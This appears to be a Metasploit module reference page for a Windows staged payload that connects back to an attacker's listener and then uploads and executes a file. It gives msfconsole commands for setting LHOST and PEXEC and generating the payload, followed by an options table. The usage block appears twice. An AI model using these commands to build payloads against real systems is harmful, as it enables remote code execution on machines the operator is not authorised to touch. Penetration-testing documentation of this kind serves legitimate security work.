Windows Upload/Execute, Reverse TCP Stager (No NX or Win7)
Connect back to the attacker (No NX), Uploads an executable and runs it (staged)
Rank
- Normal
Authors
- vlad902 < vlad902 [at] gmail.com >
- sf < stephen_fewer [at] harmonysecurity.com >
Similar Modules
- payload/windows/upexec/bind_ipv6_tcp
- payload/windows/upexec/bind_nonx_tcp
- payload/windows/upexec/bind_tcp
- payload/windows/upexec/find_tag
- payload/windows/upexec/reverse_http
- payload/windows/upexec/reverse_ipv6_http
- payload/windows/upexec/reverse_ipv6_tcp
- payload/windows/upexec/reverse_ord_tcp
- payload/windows/upexec/reverse_tcp
- payload/windows/upexec/reverse_tcp_allports
Usage Information
$ msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use payload/windows/upexec/reverse_nonx_tcp
msf payload(reverse_nonx_tcp) > set LHOST [MY IP ADDRESS]
msf payload(reverse_nonx_tcp) > set PEXEC [PATH]
msf payload(reverse_nonx_tcp) > generate
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use payload/windows/upexec/reverse_nonx_tcp
msf payload(reverse_nonx_tcp) > set LHOST [MY IP ADDRESS]
msf payload(reverse_nonx_tcp) > set PEXEC [PATH]
msf payload(reverse_nonx_tcp) > generate
Module Options
| EXITFUNC | Exit technique: thread, seh, none, process (default: process) |
| LHOST | The listen address |
| LPORT | The listen port (default: 4444) |
| PEXEC | Full path to the file to upload and execute |
| AutoRunScript | A script to run automatically on session creation. |
| InitialAutoRunScript | An initial script to run on session creation (before AutoRunScript) |
| ReverseConnectRetries | The number of connection attempts to try before exiting the process |
| ReverseListenerBindAddress | The specific IP address to bind to on the local system |
| ReverseListenerComm | The specific communication channel to use for this listener |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
